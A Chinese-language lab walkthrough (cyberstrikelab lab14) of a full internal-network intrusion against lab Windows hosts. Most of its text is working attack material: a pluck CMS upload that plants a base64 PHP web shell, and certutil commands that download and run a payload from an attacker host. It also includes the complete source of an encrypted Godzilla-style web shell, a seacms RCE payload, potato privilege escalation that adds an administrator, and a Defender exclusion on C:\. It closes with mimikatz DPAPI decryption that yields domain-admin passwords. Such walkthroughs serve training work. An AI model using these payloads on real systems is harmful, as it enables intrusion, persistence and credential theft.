cyberstrikelab—lab14
ATT&CK实战框架-lab14 内网渗透、多层代理、横向移动、dumphash、ATT&CK、web渗透、权限提升
外网信息收集
(base) ┌──(root㉿zss)-[/home/zss/桌面/Permeation]
└─# ./fscan -h 10.0.0.34
______ _____ _
| ____| | __ \| |
| |__ ___ ___ __ _ _ __ | |__) | |_ _ ___
| __/ __|/ __/ _ | _ \| ___/| | | | / __|
| | \__ \ (_| (_| | | | | | | | |_| \__ \
|_| |___/\___\__,_|_| |_|_| |_|\__,_|___/
fscan version: 1.8.4 TeamdArk5 v1.0
start infoscan
10.0.0.34:80 open
10.0.0.34:139 open
10.0.0.34:135 open
10.0.0.34:445 open
10.0.0.34:3306 open
[*] alive ports len is: 5
start vulscan
[*] WebTitle http://10.0.0.34 code:302 len:0 title:None 跳转url: http://10.0.0.34/?file=cslab
[*] WebTitle http://10.0.0.34/?file=cslab code:200 len:851 title:cslab - cslab
[*] NetBios 10.0.0.34 WIN-B5067MPUC40 Windows Server 2016 Datacenter 14393
已完成 5/5
[*] 扫描结束,耗时: 13.932913753spluck RCE

访问后台,通过弱口令cslab进入后台

发现版本是pluck 4.7.16,有CVE-2022-26965漏洞
选择上传主题的功能点

找到上传点

然后利用cms主题构造木马,在github找到主题
https://github.com/billcreswell/redline-theme
下载压缩包 修改info.php文件
<?php
file_put_contents('shell.php',base64_decode('PD9waHAgc3lzdGVtKCRfR0VUWzFdKTs/Pg=='));
?>然后上传压缩包
http://10.0.0.34/shell.php?1=certutil.exe -urlcache -split -f http://172.16.233.2:80/cslab8044.exe cslab8044.exe
http://10.0.0.34/shell.php?1=cslab8044.exe生成一个正向客户端,本地开启http服务
python3 -m http.server 80连接成功,但是有点奇怪就是没有终端,但是可以看到文件管理,手动传一个哥斯拉的免杀马
<?php
@session_start();
@set_time_limit(0);
@error_reporting(0);
function encryption($data, $mode,$key) {
$result = false;
$iv = "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00";
$blocksize = 16;
$size = strlen($data)%16;
if (function_exists("openssl_encrypt") && $mode<2) {
if ($mode == 1) {
$pad = $blocksize - (strlen($data) % $blocksize);
$data.= str_repeat(chr($pad), $pad);
$result = @openssl_encrypt($data, "AES-128-ECB", $key, OPENSSL_RAW_DATA | OPENSSL_ZERO_PADDING,$iv);
} else if (!$size){
$result = @openssl_decrypt($data, "AES-128-ECB", $key, OPENSSL_RAW_DATA | OPENSSL_ZERO_PADDING,$iv);
}
} else if (function_exists("mcrypt_encrypt")&&$mode<2) {
if ($mode == 1) {
$pad = $blocksize - (strlen($data) % $blocksize);
$data.= str_repeat(chr($pad), $pad);
$result = @mcrypt_encrypt("rijndael-128", $key, $data, "ecb", $iv);
} else if (!$size){
$result = @mcrypt_decrypt("rijndael-128", $key, $data, "ecb", $iv);
}
}
if (!$result)
{
$len = strlen($data);
$keyLen = strlen($key);
$index = 0;
for ($i = 1; $i <= $len; $i++) {
$index = $i - 1;
$data[$index] = $data[$index] ^ $key[($i % $keyLen)];
}
return $data;
}
if ($mode == 0) {
$pad = ord($result {
strlen($result) - 1
});
if ($pad > strlen($result)) return false;
if (strspn($result, chr($pad), strlen($result) - $pad) != $pad) return false;
$result = substr($result, 0, -1 * $pad);
}
return $result;
}
$pass = 'pass';
$payloadName = 'payload';
$key = '3c6e0b8a9c15224a';
if (isset($_POST[$pass])) {
$data = base64_decode($_POST[$pass]);
if (isset($_SESSION[$payloadName])) {
$payload = encryption($_SESSION[$payloadName],0, $key);
if (strpos($payload, "getBasicsInfo") === false) {
$payload = encryption($_SESSION[$payloadName],0, $key);
}
$data = encryption($data,0, $key);
eval($payload);
echo substr(md5($pass.$key), 0, 16);
echo base64_encode(encryption(@run($data),1,$key));
echo substr(md5($pass.$key), 16);
} else {
$data = encryption($data,2,$key);
if (strpos($data, "getBasicsInfo") !== false) {
$_SESSION[$payloadName] = encryption($data,1, $key);
}
}
}上线Vshell & 搭建第一层代理
连接成功,上传免杀的土豆提权
SweetPotato.exe._obf.exe -a "net user sss 1qaz@2WSX /add"
SweetPotato.exe._obf.exe -a "net localgroup administrators sss /add"
SweetPotato.exe._obf.exe -a "REG ADD \"HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\" /v fDenyTSConnections /t REG_DWORD /d 0 /f"
xfreerdp3 /v:10.0.0.34 /u:sss /p:'1qaz@2WSX' /cert:ignore
或者
SweetPotato.exe._obf.exe -a "C:\phpStudy\WWW\cslab8044.exe"
添加白名单
powershell -Command "Add-MpPreference -ExclusionPath 'C:\'"内网信息收集
上传fscan信息收集
C:\Users\Public>fscan.exe -h 10.5.8.43/24
______ _____ _
| ____| | __ \| |
| |__ ___ ___ __ _ _ __ | |__) | |_ _ ___
| __/ __|/ __/ _ | _ \| ___/| | | | / __|
| | \__ \ (_| (_| | | | | | | | |_| \__ \
|_| |___/\___\__,_|_| |_|_| |_|\__,_|___/
fscan version: 1.8.4 TeamdArk5 v1.0
start infoscan
(icmp) Target 10.5.8.43 is alive
(icmp) Target 10.5.8.50 is alive
(icmp) Target 10.5.8.88 is alive
[*] Icmp alive hosts len is: 3
10.5.8.43:8044 open
10.5.8.50:88 open
10.5.8.88:3306 open
10.5.8.43:3306 open
10.5.8.88:445 open
10.5.8.50:445 open
10.5.8.43:445 open
10.5.8.88:139 open
10.5.8.50:139 open
10.5.8.43:139 open
10.5.8.88:135 open
10.5.8.50:135 open
10.5.8.43:135 open
10.5.8.88:80 open
10.5.8.43:80 open
[*] alive ports len is: 15
start vulscan
[*] NetInfo
[*]10.5.8.50
[->]DC
[->]10.5.8.50
[*] NetInfo
[*]10.5.8.88
[->]cslab
[->]10.5.8.88
[*] OsInfo 10.5.8.50 (Windows Server 2022 Standard 20348)
[*] OsInfo 10.5.8.88 (Windows Server 2016 Standard 14393)
[*] NetBios 10.5.8.50 DC Windows Server 2022 Standard 20348
[*] NetBios 10.5.8.88 cslab.cyberstrike.lab Windows Server 2016 Standard 14393
[*] WebTitle http://10.5.8.43 code:302 len:0 title:None 跳转url: http://10.5.8.43/?file=cslab
[*] WebTitle http://10.5.8.43/?file=cslab code:200 len:851 title:cslab - cslab
[*] WebTitle http://10.5.8.88 code:200 len:22128 title:cyberstrikelab
[*] NetBios 10.5.8.43 WIN-B5067MPUC40 Windows Server 2016 Datacenter 14393
[+] PocScan http://10.5.8.88 poc-yaml-seacms-v654-rce
[+] PocScan http://10.5.8.88 poc-yaml-seacms-sqli
已完成 15/15
[*] 扫描结束,耗时: 19.626269sseacms RCE
POC
POST /search.php HTTP/1.1
Host: 10.5.8.88
Accept-Language: zh-CN,zh;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 203
searchtype=5&searchword={if{searchpage:year}&year=:e{searchpage:area}}&area=v{searchpage:letter}&letter=al{searchpage:lang}&yuyan=({searchpage:jq}&jq=($_P{searchpage:ver}&ver=OST[x]))&x=system('whoami');
上线Vshell & 搭建第二层代理
直接上线
searchtype=5&searchword={if{searchpage:year}&year=:e{searchpage:area}}&area=v{searchpage:letter}&letter=al{searchpage:lang}&yuyan=({searchpage:jq}&jq=($_P{searchpage:ver}&ver=OST[x]))&x=system('certutil.exe -urlcache -split -f http://10.5.8.43:80/cslab8044.exe cslab8044.exe');
searchtype=5&searchword={if{searchpage:year}&year=:e{searchpage:area}}&area=v{searchpage:letter}&letter=al{searchpage:lang}&yuyan=({searchpage:jq}&jq=($_P{searchpage:ver}&ver=OST[x]))&x=system('cslab8044.exe');
DPAPI 凭据解密
查找本机 Administrator 的登录密码
C:\Users\Public>reg query "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon"
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon
AutoRestartShell REG_DWORD 0x1
Background REG_SZ 0 0 0
CachedLogonsCount REG_SZ 10
DebugServerCommand REG_SZ no
DisableBackButton REG_DWORD 0x1
EnableSIHostIntegration REG_DWORD 0x1
ForceUnlockLogon REG_DWORD 0x0
LegalNoticeCaption REG_SZ
LegalNoticeText REG_SZ
PasswordExpiryWarning REG_DWORD 0x5
PowerdownAfterShutdown REG_SZ 0
PreCreateKnownFolders REG_SZ {A520A1A4-1780-4FF6-BD18-167343C5AF16}
ReportBootOk REG_SZ 1
Shell REG_SZ explorer.exe
ShellCritical REG_DWORD 0x0
ShellInfrastructure REG_SZ sihost.exe
SiHostCritical REG_DWORD 0x0
SiHostReadyTimeOut REG_DWORD 0x0
SiHostRestartCountLimit REG_DWORD 0x0
SiHostRestartTimeGap REG_DWORD 0x0
Userinit REG_SZ C:\Windows\system32\userinit.exe,
VMApplet REG_SZ SystemPropertiesPerformance.exe /pagefile
WinStationsDisabled REG_SZ 0
scremoveoption REG_SZ 0
DisableCAD REG_DWORD 0x1
LastLogOffEndTimePerfCounter REG_QWORD 0xe524f4e3
ShutdownFlags REG_DWORD 0x80000027
AutoAdminLogon REG_SZ 1
DefaultUserName REG_SZ administrator
DefaultPassword REG_SZ Sea@asd
AutoLogonSID REG_SZ S-1-5-21-1569229255-3439354803-3019667840-500
LastUsedUsername REG_SZ administrator
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\AlternateShells
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\GPExtensions
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\AutoLogonChecked
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\VolatileUserMgrKey开启3389
REG ADD "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f连接
proxychains -q xfreerdp3 /v:10.5.8.88 /u:administrator /p:'Sea@asd' /cert:ignore查找保存的远程连接 TERMSRV/10.5.8.50 的域管密码
查找凭据文件
C:\Users\Public>REG ADD "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
操作成功完成。
C:\Users\Public>dir /a C:\Users\Administrator\AppData\Local\Microsoft\Credentials\*
驱动器 C 中的卷没有标签。
卷的序列号是 E437-7A25
C:\Users\Administrator\AppData\Local\Microsoft\Credentials 的目录
2025/08/27 02:35 <DIR> .
2025/08/27 02:35 <DIR> ..
2025/09/15 06:45 450 811292CB3B95926F7EA2D46FEB2A7ADB
1 个文件 450 字节
2 个目录 30,484,254,720 可用字节获取 guidMasterKey
C:\Users\Public>mimikatz.x64.exe "dpapi::cred /in:C:\Users\Administrator\AppData\Local\Microsoft\Credentials\811292CB3B95926F7EA2D46FEB2A7ADB" "exit"
.#####. mimikatz 2.2.0 (x64) #19041 Sep 19 2022 17:44:08
.## ^ ##. "A La Vie, A L'Amour" - (oe.eo)
## / \ ## /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
## \ / ## > https://blog.gentilkiwi.com/mimikatz
'## v ##' Vincent LE TOUX ( vincent.letoux@gmail.com )
'#####' > https://pingcastle.com / https://mysmartlogon.com ***/
mimikatz(commandline) # dpapi::cred /in:C:\Users\Administrator\AppData\Local\Microsoft\Credentials\811292CB3B95926F7EA2D46FEB2A7ADB
**BLOB**
dwVersion : 00000001 - 1
guidProvider : {df9d8cd0-1501-11d1-8c7a-00c04fc297eb}
dwMasterKeyVersion : 00000001 - 1
guidMasterKey : {2e550db8-ab33-407c-8a29-120d38c9d711}
dwFlags : 20000000 - 536870912 (system ; )
dwDescriptionLen : 00000012 - 18
szDescription : 本地凭据数据
algCrypt : 00006610 - 26128 (CALG_AES_256)
dwAlgCryptLen : 00000100 - 256
dwSaltLen : 00000020 - 32
pbSalt : e72aad8189a4f46f25dfb72bbe123354dbb9ac9d5d3fc7daa718cef6c69335c7
dwHmacKeyLen : 00000000 - 0
pbHmackKey :
algHash : 0000800e - 32782 (CALG_SHA_512)
dwAlgHashLen : 00000200 - 512
dwHmac2KeyLen : 00000020 - 32
pbHmack2Key : 0d5b541fa3b5df1f46ac308c1734b4269366e576e3b94bc806634c3d4fd32934
dwDataLen : 000000d0 - 208
pbData : 1605f78b336c86b78baeb7ed5017047ade7fbd24fb3011c18055249fbfa757e7da52dcc008b2079d989775da5fa2a7a373b1c37f58ba40bde99013d9c640f51
cba7ad5ab5fa93a3ad7b973aa145318ae174c8c3f004e300b3c3418973683d674765d00713d68e50053a47482e6e8b7327a263098b49b498bfb8509fc199fb12ece3893780bf584a08b060
486e812d8bb193f0db28beeba27d7df55a0f846e03bf6701305d5e998dc14b9d2e5b00cbc1a9bafe3d5692e47b9d551dd0a487d224b94a9bd5d36f0328adc6101f175dcc971
dwSignLen : 00000040 - 64
pbSign : f376f4a8ef11220f8a68829260d9a788007bdc2ea618f3fd898334af5a11468a0cf0279989ce8697f2a7e25600249e603bee22358241cc9b45901e726817338
2
mimikatz(commandline) # exit
Bye!得到
{2e550db8-ab33-407c-8a29-120d38c9d711}获取对应的 MasterKey
C:\Users\Public>mimikatz.x64.exe "privilege::debug" "sekurlsa::dpapi" "exit"
.#####. mimikatz 2.2.0 (x64) #19041 Sep 19 2022 17:44:08
.## ^ ##. "A La Vie, A L'Amour" - (oe.eo)
## / \ ## /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
## \ / ## > https://blog.gentilkiwi.com/mimikatz
'## v ##' Vincent LE TOUX ( vincent.letoux@gmail.com )
'#####' > https://pingcastle.com / https://mysmartlogon.com ***/
mimikatz(commandline) # privilege::debug
Privilege '20' OK
mimikatz(commandline) # sekurlsa::dpapi
Authentication Id : 0 ; 1588674 (00000000:00183dc2)
Session : Interactive from 3
User Name : DWM-3
Domain : Window Manager
Logon Server : (null)
Logon Time : 2026/1/3 14:00:06
SID : S-1-5-90-0-3
Authentication Id : 0 ; 192743 (00000000:0002f0e7)
Session : Interactive from 1
User Name : Administrator
Domain : CSLAB
Logon Server : CSLAB
Logon Time : 2026/1/3 12:23:42
SID : S-1-5-21-1569229255-3439354803-3019667840-500
[00000000]
* GUID : {2d6c3c55-2092-48ac-af69-bd2f38d2d8ad}
* Time : 2026/1/3 14:03:31
* MasterKey : 7e441fac309da877e753299d9286702bc9cfa63a9250ba3dabe5fc785f2c65e8101f4942714ed9fa48b6e186403848cb630d188f5fc68b2a848de47dbb7cd0
40
* sha1(key) : 1ec1f23521f9e9073b3743fd2d6ed3c823c8c62a
[00000001]
* GUID : {2e550db8-ab33-407c-8a29-120d38c9d711}
* Time : 2026/1/3 12:26:11
* MasterKey : 24b089facc24b9f698931a52411c777ed146efe5f0248fd0d4b1844f1d441b9970ad86c006627e49b0e8c94179f0b4a8f509f9d8af5af3569faa21d9c56068
a9
* sha1(key) : 161989495e92fb05ebd211399a27cde4beef8e86
Authentication Id : 0 ; 50909 (00000000:0000c6dd)
Session : Interactive from 1
User Name : DWM-1
Domain : Window Manager
Logon Server : (null)
Logon Time : 2026/1/3 12:22:43
SID : S-1-5-90-0-1
Authentication Id : 0 ; 996 (00000000:000003e4)
Session : Service from 0
User Name : CSLAB$
Domain : CYBERSTRIKE
Logon Server : (null)
Logon Time : 2026/1/3 12:22:42
SID : S-1-5-20
Authentication Id : 0 ; 1588509 (00000000:00183d1d)
Session : Interactive from 3
User Name : DWM-3
Domain : Window Manager
Logon Server : (null)
Logon Time : 2026/1/3 14:00:06
SID : S-1-5-90-0-3
Authentication Id : 0 ; 997 (00000000:000003e5)
Session : Service from 0
User Name : LOCAL SERVICE
Domain : NT AUTHORITY
Logon Server : (null)
Logon Time : 2026/1/3 12:22:44
SID : S-1-5-19
Authentication Id : 0 ; 50928 (00000000:0000c6f0)
Session : Interactive from 1
User Name : DWM-1
Domain : Window Manager
Logon Server : (null)
Logon Time : 2026/1/3 12:22:43
SID : S-1-5-90-0-1
Authentication Id : 0 ; 23027 (00000000:000059f3)
Session : UndefinedLogonType from 0
User Name : (null)
Domain : (null)
Logon Server : (null)
Logon Time : 2026/1/3 12:22:40
SID :
Authentication Id : 0 ; 999 (00000000:000003e7)
Session : UndefinedLogonType from 0
User Name : CSLAB$
Domain : CYBERSTRIKE
Logon Server : (null)
Logon Time : 2026/1/3 12:22:40
SID : S-1-5-18
[00000000]
* GUID : {da6652e5-83d3-4450-a676-232a986ff533}
* Time : 2026/1/3 14:00:03
* MasterKey : 31d314a53527f6ab847834d81c417969b085981bf8a6be9951959cb4c77093a3f3ddea0263b476cca1d90d540f586f3b5ae69a19b69115edf721048b4e7c8b
b8
* sha1(key) : 8bd0253142e455fa6788e0ef587623c078caf8d9
[00000001]
* GUID : {f7a1db28-f439-4ada-8822-01e11e7d8dbd}
* Time : 2026/1/3 14:00:04
* MasterKey : 7dfc6fe4f3f96694b75b430fad839848d347f9dcca9f9372a09daeb67c3785d4faf5d5d6df972c00ecd5b446a96f867c0ec42869f38c7f51db1555436ca212
73
* sha1(key) : 154a943246a814db4b1820eca984a171a2e9a4c9
[00000002]
* GUID : {a501bfdb-2f13-44a3-8b20-677eec39425b}
* Time : 2026/1/3 13:53:58
* MasterKey : c9249cbd1fcaedea5c1f02ba595def358ff68e4698a13059c9daff061d765574a71058bd70f449e1aa38ad554f7a4c9258d8a41241acda4fccb275ddee6182
ef
* sha1(key) : 6af267af5442e3f8291e5185af4377d28342f3c7
[00000003]
* GUID : {993c0162-4b25-4c43-bba2-be67bb812371}
* Time : 2026/1/3 13:53:58
* MasterKey : 22770ddc6ef7ab42295fc2938db13a7d30caa073ffaa208439456616d509f24d32a8af271c8fb12806859b73d7fbf3733344fe7b50bdefab52faaaa1b74398
cb
* sha1(key) : fe2a617fd0607b8ddcede54621110216a81276d9
[00000004]
* GUID : {420e127a-52b3-4e86-b804-15502898444b}
* Time : 2026/1/3 12:22:43
* MasterKey : df910c7f1d4ff68d95fcc407e7d39628e74fb6f46d04b542d65fff44262240dfd37250001d005766842695883b97dd62eb125165f4843cec3186c14d4e62de
4f
* sha1(key) : 8d035c723b7a682fc7524af3bf744e98b2f1fb03
[00000005]
* GUID : {13160530-8d1c-4fda-912b-9cdf75b3bd82}
* Time : 2026/1/3 12:22:41
* MasterKey : 3c01649e66813f31eb1b781f196140a7b394f429ec782813a1dac45f5dc028762632e41dbd99c084c23e392513920b301d95b2da2b525fcc72f4583275588d
ed
* sha1(key) : c577332910d4c4b55d6f0f5627a9034f812ac645
mimikatz(commandline) # exit
Bye!得到
24b089facc24b9f698931a52411c777ed146efe5f0248fd0d4b1844f1d441b9970ad86c006627e49b0e8c94179f0b4a8f509f9d8af5af3569faa21d9c56068a9解密凭据
C:\Users\Public>mimikatz.x64.exe "dpapi::cred /in:C:\Users\Administrator\AppData\Local\Microsoft\Credentials\811292CB3B95926F7EA2D46FEB2A7ADB /masterkey:24b089facc24b9f698931a52411c777ed146efe5f0248fd0d4b1844f1d441b9970ad86c006627e49b0e8c94179f0b4a8f509f9d8af5af3569faa21d9c56068a9" "exit"
.#####. mimikatz 2.2.0 (x64) #19041 Sep 19 2022 17:44:08
.## ^ ##. "A La Vie, A L'Amour" - (oe.eo)
## / \ ## /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
## \ / ## > https://blog.gentilkiwi.com/mimikatz
'## v ##' Vincent LE TOUX ( vincent.letoux@gmail.com )
'#####' > https://pingcastle.com / https://mysmartlogon.com ***/
mimikatz(commandline) # dpapi::cred /in:C:\Users\Administrator\AppData\Local\Microsoft\Credentials\811292CB3B95926F7EA2D46FEB2A7ADB /masterkey:24b089facc24b9f698931a52411c777ed146efe5f0248fd0d4b1844f1d441b9970ad86c006627e49b0e8c94179f0b4a8f509f9d8af5af3569faa21d9c56068a9
**BLOB**
dwVersion : 00000001 - 1
guidProvider : {df9d8cd0-1501-11d1-8c7a-00c04fc297eb}
dwMasterKeyVersion : 00000001 - 1
guidMasterKey : {2e550db8-ab33-407c-8a29-120d38c9d711}
dwFlags : 20000000 - 536870912 (system ; )
dwDescriptionLen : 00000012 - 18
szDescription : 本地凭据数据
algCrypt : 00006610 - 26128 (CALG_AES_256)
dwAlgCryptLen : 00000100 - 256
dwSaltLen : 00000020 - 32
pbSalt : e72aad8189a4f46f25dfb72bbe123354dbb9ac9d5d3fc7daa718cef6c69335c7
dwHmacKeyLen : 00000000 - 0
pbHmackKey :
algHash : 0000800e - 32782 (CALG_SHA_512)
dwAlgHashLen : 00000200 - 512
dwHmac2KeyLen : 00000020 - 32
pbHmack2Key : 0d5b541fa3b5df1f46ac308c1734b4269366e576e3b94bc806634c3d4fd32934
dwDataLen : 000000d0 - 208
pbData : 1605f78b336c86b78baeb7ed5017047ade7fbd24fb3011c18055249fbfa757e7da52dcc008b2079d989775da5fa2a7a373b1c37f58ba40bde99013d9c640f51cba7ad5ab5fa93a3ad7b973aa145318ae174c8c3f004e300b3c3418973683d674765d00713d68e50053a47482e6e8b7327a263098b49b498bfb8509fc199fb12ece3893780bf584a08b060486e812d8bb193f0db28beeba27d7df55a0f846e03bf6701305d5e998dc14b9d2e5b00cbc1a9bafe3d5692e47b9d551dd0a487d224b94a9bd5d36f0328adc6101f175dcc971
dwSignLen : 00000040 - 64
pbSign : f376f4a8ef11220f8a68829260d9a788007bdc2ea618f3fd898334af5a11468a0cf0279989ce8697f2a7e25600249e603bee22358241cc9b45901e7268173382
Decrypting Credential:
* masterkey : 24b089facc24b9f698931a52411c777ed146efe5f0248fd0d4b1844f1d441b9970ad86c006627e49b0e8c94179f0b4a8f509f9d8af5af3569faa21d9c56068a9
**CREDENTIAL**
credFlags : 00000030 - 48
credSize : 000000c0 - 192
credUnk0 : 00000000 - 0
Type : 00000002 - 2 - domain_password
Flags : 00000000 - 0
LastWritten : 2025/9/14 22:45:14
unkFlagsOrSize : 00000010 - 16
Persist : 00000002 - 2 - local_machine
AttributeCount : 00000000 - 0
unk0 : 00000000 - 0
unk1 : 00000000 - 0
TargetName : Domain:target=TERMSRV/10.5.8.50
UnkData : (null)
Comment : (null)
TargetAlias : (null)
UserName : CSLAB\administrator
CredentialBlob : cs1ab@qs
Attributes : 0
mimikatz(commandline) # exit
Bye!远程连接
proxychains -q xfreerdp3 /v:10.5.8.50 /u:administrator /d:CSLAB /p:'cs1ab@qs' /cert:ignore
本文记录了一次完整的渗透测试过程,涵盖外网信息收集、pluck CMS RCE漏洞利用、内网扫描与seacms RCE二次突破,最终通过DPAPI凭据解密获取域控权限。
由 AI 根据全文自动生成,仅供参考,以原文为准